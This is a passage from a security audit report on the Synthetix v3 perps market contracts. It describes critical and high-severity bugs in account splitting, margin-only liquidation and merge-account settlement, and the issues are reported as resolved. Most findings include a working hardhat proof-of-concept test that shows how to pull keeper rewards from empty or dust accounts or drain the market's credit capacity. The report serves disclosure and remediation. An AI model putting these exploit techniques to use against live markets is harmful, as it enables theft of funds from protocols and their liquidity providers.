</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">withdrawAmountUsd</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">getWithdrawableMargin</span><span class="p">(</span><span class="nx">toTraderAccountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">withdrawAmount</span> <span class="o">=</span> <span class="nx">withdrawAmountUsd</span><span class="p">.</span><span class="nx">mul</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">).</span><span class="nx">mul</span><span class="p">(</span><span class="nx">bn</span><span class="p">(</span><span class="mi">1</span><span class="p">)).</span><span class="nx">div</span><span class="p">(</span><span class="kr">await</span> <span class="nx">collateral</span><span class="p">.</span><span class="nx">getPrice</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="nx">trader</span><span class="p">.</span><span class="nx">signer</span><span class="p">).</span><span class="nx">modifyCollateral</span><span class="p">(</span><span class="nx">toTraderAccountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">,</span> <span class="nx">collateral</span><span class="p">.</span><span class="nx">synthMarketId</span><span class="p">(),</span> <span class="nx">withdrawAmount</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// liquidate to account margin
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="nx">trader</span><span class="p">.</span><span class="nx">signer</span><span class="p">).</span><span class="nx">liquidateMarginOnly</span><span class="p">(</span><span class="nx">toTraderAccountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="nx">counter</span><span class="o">--</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">collateralValueLost</span> <span class="o">=</span> <span class="nx">toAccountMarginLiquidated</span><span class="p">.</span><span class="nx">mul</span><span class="p">(</span><span class="nx">bn</span><span class="p">(</span><span class="mi">1</span><span class="p">)).</span><span class="nx">div</span><span class="p">(</span><span class="kr">await</span> <span class="nx">collateral</span><span class="p">.</span><span class="nx">getPrice</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">accountsUSDAfter</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">collaterals</span><span class="p">()[</span><span class="mi">0</span><span class="p">].</span><span class="nx">contract</span><span class="p">.</span><span class="nx">balanceOf</span><span class="p">(</span><span class="kr">await</span> <span class="nx">trader</span><span class="p">.</span><span class="nx">signer</span><span class="p">.</span><span class="nx">getAddress</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">accountsETHAfter</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">collateral</span><span class="p">.</span><span class="nx">contract</span><span class="p">.</span><span class="nx">balanceOf</span><span class="p">(</span><span class="kr">await</span> <span class="nx">trader</span><span class="p">.</span><span class="nx">signer</span><span class="p">.</span><span class="nx">getAddress</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">sUSDValueGained</span> <span class="o">=</span> <span class="nx">accountsUSDAfter</span><span class="p">.</span><span class="nx">sub</span><span class="p">(</span><span class="nx">accountsUSDBefore</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">sETHGained</span> <span class="o">=</span> <span class="nx">accountsETHAfter</span><span class="p">.</span><span class="nx">sub</span><span class="p">(</span><span class="nx">accountsETHBefore</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">sETHValueGained</span> <span class="o">=</span> <span class="nx">sETHGained</span><span class="p">.</span><span class="nx">mul</span><span class="p">(</span><span class="nx">bn</span><span class="p">(</span><span class="mi">1</span><span class="p">)).</span><span class="nx">div</span><span class="p">(</span><span class="kr">await</span> <span class="nx">collateral</span><span class="p">.</span><span class="nx">getPrice</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">collateralValueGained</span> <span class="o">=</span> <span class="nx">sUSDValueGained</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">sETHValueGained</span><span class="p">).</span><span class="nx">sub</span><span class="p">(</span><span class="nx">collateralValueLost</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">assertBn</span><span class="p">.</span><span class="nx">gt</span><span class="p">(</span><span class="nx">collateralValueGained</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre><p><em>Note: since the configuration of the market is dynamic the test case may fail in some configurations, pinning the configuration to specific values or re-running the test several times would resolve this issue.</em></p>
<h3 id="recommendation">Recommendation</h3>
<p>This issue could be resolved by requiring accounts to have an open position when splitting.</p>
<h3 id="client-response">Client response</h3>
<p>The issue was resolved according to the recommendation in <a href="https://github.com/Synthetixio/synthetix-v3/pull/2115/commits/a8024534e654f838ad124693865c29f4183bef89">a802453</a>.</p>
<p><a name="IO-SNX-BFP-002"></a></p>
<h2 class="break-before" id="io-snx-bfp-002-splitaccount-could-leave-the-account-in-a-liquidatable-state"><strong>IO-SNX-BFP-002</strong> <code>splitAccount()</code> could leave the account in a liquidatable state</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-critical">Critical</td>
<td class="status-resolved">Resolved</td>
<td>
<em>
<a href="https://github.com/Synthetixio/synthetix-v3/blob/8670f238038aa49207781fd8f46faf6568a28386/markets/bfp-market/contracts/modules/PerpAccountModule.sol#L264">PerpAccountModule.sol#L264</a>
</em>
</td>
</tr>
</tbody>
</table>
<p>The <code>PerpAccountModule.splitAccount()</code> function did not validate that the account being split from was not liquidatable at the end of the operation. This enabled the caller to use <code>proportion = UNIT - 1</code> so that the <code>from</code> account was left with a dust amount of margin and position size. The dust amount of margin would be less than the liquidation margin because of the minimum margin and liquidation rewards making the <code>from</code> account immediately liquidatable.</p>
<p>Since the liquidation rewards are capped by a minimum amount which is larger than the dust amount of margin in the account the perps market would pay the reward without reclaiming sufficient collateral. This exploit could be atomic and repeated to drain the market’s credit capacity.</p>
<p>The below test case was developed to demonstrate the attack. To run the test case, add the code below to <code>bfp-market/test/integration/modules/LiquidationModule.test.ts</code> in the <code>liquidatePosition</code> suite of test cases.</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="nx">it</span><span class="p">.</span><span class="nx">only</span><span class="p">(</span><span class="s1">'liquidatable after split account -- fee printer PoC'</span><span class="p">,</span> <span class="kr">async</span> <span class="p">()</span> <span class="p">=></span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="p">{</span> <span class="nx">BfpMarketProxy</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">systems</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Commit, settle, place position into liquidation, flag for liquidation, liquidate.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">orderSide</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">trader</span> <span class="o">=</span> <span class="nx">traders</span><span class="p">()[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">market</span> <span class="o">=</span> <span class="nx">markets</span><span class="p">()[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">marketId</span> <span class="o">=</span> <span class="nx">market</span><span class="p">.</span><span class="nx">marketId</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">collateral</span> <span class="o">=</span> <span class="nx">collaterals</span><span class="p">()[</span><span class="mi">2</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Set a large enough liqCap to ensure a full liquidation.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">setMarketConfigurationById</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">,</span> <span class="p">{</span> <span class="nx">liquidationLimitScalar</span><span class="o">:</span> <span class="nx">bn</span><span class="p">(</span><span class="mi">100</span><span class="p">)</span> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">gTrader1</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">depositMargin</span><span class="p">(</span>
</span></span><span class="line"><span class="cl"> <span class="nx">bs</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">genTrader</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredTrader</span><span class="o">:</span> <span class="nx">trader</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredMarket</span><span class="o">:</span> <span class="nx">market</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredCollateral</span><span class="o">:</span> <span class="nx">collateral</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="p">})</span>
</span></span><span class="line"><span class="cl"> <span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// create position
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kd">let</span> <span class="nx">order1</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">genOrder</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">market</span><span class="p">,</span> <span class="nx">collateral</span><span class="p">,</span> <span class="nx">gTrader1</span><span class="p">.</span><span class="nx">collateralDepositAmount</span><span class="p">,</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredLeverage</span><span class="o">:</span> <span class="mi">10</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">desiredSide</span><span class="o">:</span> <span class="nx">orderSide</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">commitAndSettle</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">,</span> <span class="nx">trader</span><span class="p">,</span> <span class="nx">order1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// create to account
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">toTraderAccountId</span> <span class="o">=</span> <span class="mi">1337</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="nx">trader</span><span class="p">.</span><span class="nx">signer</span><span class="p">)[</span><span class="s1">'createAccount(uint128)'</span><span class="p">](</span><span class="nx">toTraderAccountId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// split account moving most to new account and leave from account with dust
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">proportion</span> <span class="o">=</span> <span class="nx">bn</span><span class="p">(</span><span class="mi">1</span><span class="p">).</span><span class="nx">sub</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="nx">trader</span><span class="p">.</span><span class="nx">signer</span><span class="p">).</span><span class="nx">splitAccount</span><span class="p">(</span><span class="nx">trader</span><span class="p">.</span><span class="nx">accountId</span><span class="p">,</span> <span class="nx">toTraderAccountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">,</span> <span class="nx">proportion</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">fromMarginDigest</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">getMarginDigest</span><span class="p">(</span><span class="nx">trader</span><span class="p">.</span><span class="nx">accountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">marginLiquidatedValue</span> <span class="o">=</span> <span class="nx">fromMarginDigest</span><span class="p">.</span><span class="nx">collateralUsd</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="c1">//console.log(marginLiquidatedValue)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kd">let</span> <span class="nx">keepersUSDBefore</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">collaterals</span><span class="p">()[</span><span class="mi">0</span><span class="p">].</span><span class="nx">contract</span><span class="p">.</span><span class="nx">balanceOf</span><span class="p">(</span><span class="kr">await</span> <span class="nx">keeper</span><span class="p">().</span><span class="nx">getAddress</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// flag and liquidate from account
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="nx">keeper</span><span class="p">()).</span><span class="nx">flagPosition</span><span class="p">(</span><span class="nx">trader</span><span class="p">.</span><span class="nx">accountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">BfpMarketProxy</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="nx">keeper</span><span class="p">()).</span><span class="nx">liquidatePosition</span><span class="p">(</span><span class="nx">trader</span><span class="p">.</span><span class="nx">accountId</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">keepersUSDAfter</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">collaterals</span><span class="p">()[</span><span class="mi">0</span><span class="p">].</span><span class="nx">contract</span><span class="p">.</span><span class="nx">balanceOf</span><span class="p">(</span><span class="kr">await</span> <span class="nx">keeper</span><span class="p">().</span><span class="nx">getAddress</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">profit</span> <span class="o">=</span> <span class="nx">keepersUSDAfter</span><span class="p">.</span><span class="nx">sub</span><span class="p">(</span><span class="nx">keepersUSDBefore</span><span class="p">).</span><span class="nx">sub</span><span class="p">(</span><span class="nx">marginLiquidatedValue</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"> <span class="c1">//console.log(`profit sUSD: ${profit}`);
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="nx">assertBn</span><span class="p">.</span><span class="nx">gt</span><span class="p">(</span><span class="nx">profit</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre><p><em>Note: since the configuration of the market is dynamic the test case may fail in some configurations, pinning the configuration to specific values or re-running the test several times would resolve this issue.</em></p>
<h3 id="recommendation-1">Recommendation</h3>
<p>The issue could be resolved by validating that both the from and to accounts are not liquidatable at the end of the <code>PerpAccountModule.splitAccount()</code> function.</p>
<h3 id="client-response-1">Client response</h3>
<p>The issue was resolved according to the recommendation in <a href="https://github.com/Synthetixio/synthetix-v3/commit/f9d98932014edca477ee4f1fa2d36e11e79109ac">f9d9893</a>.</p>
<p><a name="IO-SNX-BFP-003"></a></p>
<h2 class="break-before" id="io-snx-bfp-003-liquidatemarginonly-paid-reward-when-liquidating-empty-accounts"><strong>IO-SNX-BFP-003</strong> <code>liquidateMarginOnly()</code> paid reward when liquidating empty accounts</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-critical">Critical</td>
<td class="status-resolved">Resolved</td>
<td>
<em>
<a href="https://github.com/Synthetixio/synthetix-v3/blob/9727d1d2fc43eafac93d2fe02a2e7e9eafa0243e/markets/bfp-market/contracts/modules/LiquidationModule.sol#L486">LiquidationModule.sol#L486</a>
</em>
</td>
</tr>
</tbody>
</table>
<p>The <code>LiquidationModule.isMarginLiquidatable()</code> function incorrectly determines that an account with no position and no margin, for example, a newly created perps account, was liquidatable. This was because <code>isMarginLiquidatable()</code> only considers an account's <code>discountedMarginUsd</code>, which could be zero for an account with no deposited collateral.</p>
<p>As a result, such empty accounts could be specified during calls to <code>LiquidationModule.liquidateMarginOnly()</code>, paying the liquidator keeper rewards without the protocol claiming any collateral.</p>
<p>Even though the net gain would be minimal, it would be sufficient to cover the transaction costs of a malicious liquidator while draining the market of irrecoverable credit capacity.</p>
<p>The proof of concept below was provided during the assessment to demonstrate the issue, to run the proof of concept the test case should be added to the <code>bfp-market/test/integration/modules/MarginModule.debt.test.ts</code> file.</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="nx">it</span><span class="p">(</span><span class="s1">'should not pay keeper fees to an empty account'</span><span class="p">,</span> <span class="kr">async</span> <span class="p">()</span> <span class="p">=></span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="p">{</span> <span class="nx">PerpMarketProxy</span><span class="p">,</span> <span class="nx">USD</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">systems</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// setup a market and stuff
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="p">{</span> <span class="nx">trader</span><span class="p">,</span> <span class="nx">market</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">,</span> <span class="nx">collateral</span><span class="p">,</span> <span class="nx">collateralDepositAmount</span> <span class="p">}</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">depositMargin</span><span class="p">(</span><span class="nx">bs</span><span class="p">,</span> <span class="nx">genTrader</span><span class="p">(</span><span class="nx">bs</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// create 0x1337 account
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">await</span> <span class="nx">PerpMarketProxy</span><span class="p">[</span><span class="s1">'createAccount(uint128)'</span><span class="p">](</span><span class="mh">0x1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">balanceBefore</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">USD</span><span class="p">.</span><span class="nx">balanceOf</span><span class="p">(</span><span class="kr">await</span> <span class="nx">trader</span><span class="p">.</span><span class="nx">signer</span><span class="p">.</span><span class="nx">getAddress</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">PerpMarketProxy</span><span class="p">.</span><span class="nx">connect</span><span class="p">(</span><span class="nx">trader</span><span class="p">.</span><span class="nx">signer</span><span class="p">).</span><span class="nx">liquidateMarginOnly</span><span class="p">(</span><span class="mh">0x1337</span><span class="p">,</span> <span class="nx">marketId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">balanceAfter</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">USD</span><span class="p">.</span><span class="nx">balanceOf</span><span class="p">(</span><span class="kr">await</span> <span class="nx">trader</span><span class="p">.</span><span class="nx">signer</span><span class="p">.</span><span class="nx">getAddress</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">assert</span><span class="p">(</span><span class="nx">balanceBefore</span><span class="p">.</span><span class="nx">eq</span><span class="p">(</span><span class="nx">balanceAfter</span><span class="p">),</span> <span class="s1">'liquidator received rewards for liquidating an empty account'</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre><h3 id="recommendation-2">Recommendation</h3>
<p>To remedy the issue, <code>isMarginLiquidatable()</code> could also check if the account’s <code>collateralUsd</code> is greater than 0, implying that the account has margin available but is insolvent.</p>
<h3 id="client-response-2">Client response</h3>
<p>The issue was resolved according to the recommendation in <a href="https://github.com/Synthetixio/synthetix-v3/commit/12f192b3d87848c727a8e2989de6724098467aee">12f192b</a>.</p>
<p><a name="IO-SNX-BFP-004"></a></p>
<h2 class="break-before" id="io-snx-bfp-004-traders-could-control-order-settlement"><strong>IO-SNX-BFP-004</strong> Traders could control order settlement</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
<td>
<em>
<a href="https://github.com/Synthetixio/synthetix-v3/blob/2705b285f92a12c2b84cb2dba5b73f335b80b819/markets/bfp-market/contracts/modules/PerpAccountModule.sol#L314">PerpAccountModule.sol#L314</a>
</em>
</td>
</tr>
</tbody>
</table>
<p>The <code>PerpAccountModule.mergeAccounts()</code> function requires the caller of the function to have permission to modify the collateral of both the <code>to</code> and <code>from</code> accounts. Since the function is only callable by whitelisted settlement hooks it will only execute if the account owner permitted the hook to modify the account's collateral. Using these permissions a trader could control the settlement of their order by choosing the merge account settlement hook when committing the order but not giving the hook contract the necessary permissions. During the settlement window if the price is favorable for the trader they could grant the hook contract the permissions to allow the hook to settle. When the price is not favorable the trader could wait for the order to go stale and cancel it for free, thus giving the trader the ability to choose their settlement price range.</p>
<p>The following proof of concept was provided to demonstrate the attack:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">BigNumber</span><span class="p">,</span> <span class="nx">Contract</span><span class="p">,</span> <span class="nx">ContractReceipt</span><span class="p">,</span> <span class="nx">ethers</span><span class="p">,</span> <span class="nx">utils</span><span class="p">,</span> <span class="nx">providers</span><span class="p">,</span> <span class="nx">Signer</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">'ethers'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">shuffle</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">'lodash'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">assert</span> <span class="nx">from</span> <span class="s1">'assert'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">assertRevert</span> <span class="nx">from</span> <span class="s1">'@synthetixio/core-utils/utils/assertions/assert-revert'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">assertBn</span> <span class="nx">from</span> <span class="s1">'@synthetixio/core-utils/utils/assertions/assert-bignumber'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">assertEvent</span> <span class="nx">from</span> <span class="s1">'@synthetixio/core-utils/utils/assertions/assert-event'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">fastForwardTo</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">'@synthetixio/core-utils/utils/hardhat/rpc'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="nx">Wei</span><span class="p">,</span> <span class="p">{</span> <span class="nx">wei</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">'@synthetixio/wei'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">bootstrap</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">'../../bootstrap'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">bn</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">genBootstrap</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">genOneOf</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">genOrder</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">genSide</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">genTrader</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">toRoundRobinGenerators</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="nx">from</span> <span class="s1">'../../generators'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">commitAndSettle</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">settleOrder</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">commitOrder</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">depositMargin</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">extendContractAbi</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">findEventSafe</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">getFastForwardTimestamp</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">getPythPriceDataByMarketId</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">setMarketConfigurationById</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">withExplicitEvmMine</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">withdrawAllCollateral</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="nx">from</span> <span class="s1">'../../helpers'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">address</span> <span class="nx">as</span> <span class="nx">trustedMulticallerAddress</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">abi</span> <span class="nx">as</span> <span class="nx">trustedMulticallerAbi</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">Multicall3</span> <span class="nx">as</span> <span class="nx">TrustedMulticallForwarder</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="nx">from</span> <span class="s1">'../../external/TrustedMulticallForwarder'</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">describe</span><span class="p">(</span><span class="s1">'PerpAccountModule mergeAccounts'</span><span class="p">,</span> <span class="p">()</span> <span class="p">=></span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">bs</span> <span class="o">=</span> <span class="nx">bootstrap</span><span class="p">(</span><span class="nx">genBootstrap</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="p">{</span> <span class="nx">markets</span><span class="p">,</span> <span class="nx">traders</span><span class="p">,</span> <span class="nx">systems</span><span class="p">,</span> <span class="nx">provider</span><span class="p">,</span> <span class="nx">restore</span><span class="p">,</span> <span class="nx">collateralsWithoutSusd</span><span class="p">,</span> <span class="nx">keeper</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">bs</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="nx">beforeEach</span><span class="p">(</span><span class="nx">restore</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">createAccountsToMerge</span> <span class="o">=</span> <span class="kr">async</span> <span class="p">()</span> <span class="p">=></span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="p">{</span> <span class="nx">BfpMarketProxy</span><span class="p">,</span> <span class="nx">MergeAccountSettlementHookMock</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">systems</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">fromTrader</span> <span class="o">=</span> <span class="nx">genOneOf</span><span class="p">(</span><span class="nx">traders</span><span class="p">());</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">toTraderAccountId</span> <span class="o">=</span> <span class="mi">42069</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">toTrader</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="nx">signer</span><span class="o">:</span> <span class="nx">fromTrader</span><span class="p">.</span><span class="nx">signer</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="nx">accountId</span><span class="o">:</span> <span class="nx">toTraderAccountId</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"> <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kr">await</span> <span class="nx">withExplicitEvmMine</span><span class="p">(</span>
